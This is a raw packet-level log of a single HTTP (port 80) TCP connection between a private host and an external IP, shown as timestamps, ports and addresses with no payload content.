Aug 4, 2024 10:57:55.934001923 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934019089 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934034109 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934039116 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.934067965 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934076071 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.934084892 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934099913 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934115887 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934119940 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.934132099 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934146881 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934156895 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.934165001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934179068 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.934181929 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.934222937 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:55.939001083 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:55.939076900 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101061106 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101123095 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101161003 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101175070 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101195097 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101232052 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101237059 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101267099 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101306915 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101315022 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101398945 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101444006 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101452112 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101489067 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101521969 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101528883 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101561069 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101613998 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101716995 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101752043 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101800919 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101804972 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101861000 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101896048 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101911068 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.101928949 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101963997 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.101974964 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.102024078 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102072954 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.102364063 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102418900 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102462053 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.102471113 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102508068 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102544069 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102560043 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.102596998 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102628946 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102641106 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.102669001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102701902 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102727890 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.102736950 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102771997 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.102782011 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.103374958 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.103426933 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.103435040 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.103461981 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.103496075 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.103503942 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.103535891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.103569984 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.103591919 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.152837992 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.449800014 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.449867964 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.449922085 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.449955940 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.449958086 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.449992895 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450016975 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450047970 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450083017 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450097084 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450119972 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450172901 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450189114 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450232029 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450265884 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450288057 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450300932 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450334072 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450349092 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450368881 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450402975 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450424910 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450438023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450536013 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450544119 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450598001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450632095 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450653076 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450825930 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450860023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450892925 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450920105 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450927973 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450963020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.450965881 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.450998068 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451016903 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.451093912 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451173067 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.451339960 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451391935 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451430082 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451446056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.451463938 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451498985 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451531887 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451545954 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.451570034 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451590061 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.451605082 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451639891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451672077 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451683044 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.451710939 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451734066 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.451920986 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451976061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.451982975 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.452011108 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.452069998 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.452722073 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.452759027 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.452796936 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.452831030 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.498981953 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798207045 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798248053 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798265934 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798283100 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798301935 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798312902 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798320055 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798341036 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798352003 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798366070 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798419952 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798461914 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798482895 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798501968 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798548937 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798564911 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798582077 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798590899 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798615932 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798641920 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798657894 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798676014 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798700094 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798711061 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798827887 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798846006 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798861980 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798877954 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798897028 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798903942 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798916101 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.798929930 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.798953056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.799272060 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799340963 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799390078 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.799391031 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799438953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799455881 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799489021 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799495935 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.799506903 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799526930 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799550056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.799566031 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.799833059 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799849987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799866915 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799890041 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.799916983 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799933910 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799951077 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799959898 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.799971104 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.799988031 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.800028086 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.800044060 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.800060987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.800067902 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.800117970 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.800179005 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.800446033 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.800506115 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.800518990 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:56.800522089 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:56.800576925 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.146833897 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146856070 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146879911 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146897078 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146909952 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146923065 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146939993 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146958113 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146965981 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.146975040 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.146990061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147008896 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147036076 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147073984 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147088051 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147105932 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147126913 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147152901 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147171021 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147181988 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147207022 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147245884 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147303104 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147317886 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147331953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147356987 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147382021 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147397041 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147408009 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147435904 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147466898 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147604942 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147653103 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147669077 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147696018 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147752047 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147763014 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147773981 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147788048 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147799015 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147826910 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147831917 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147861958 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147912979 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147927999 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147938013 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147950888 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147962093 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.147964001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.147989988 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.148422956 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148468018 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.148474932 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148498058 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148550034 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148550987 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.148564100 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148576021 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148590088 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148612976 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.148634911 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.148699999 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148711920 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148722887 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148735046 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148742914 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.148746967 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148785114 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.148806095 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148874998 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.148885965 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148899078 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148909092 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.148931026 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.202070951 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.232954025 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.280276060 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495023966 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495069027 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495106936 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495167971 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495170116 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495223045 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495223045 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495275974 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495311022 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495315075 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495364904 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495398998 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495409012 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495452881 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495487928 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495516062 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495543957 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495578051 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495593071 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495620012 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495654106 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495672941 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495688915 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495723009 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495738029 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495784044 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495817900 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495832920 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495873928 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495909929 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495930910 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.495944977 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495990038 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.495991945 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496023893 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496067047 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496077061 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496117115 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496170044 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496177912 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496223927 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496258020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496273041 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496294022 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496340990 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496347904 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496383905 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496419907 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496432066 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496473074 CEST	80	49757	27.221.16.179	192.168.2.7
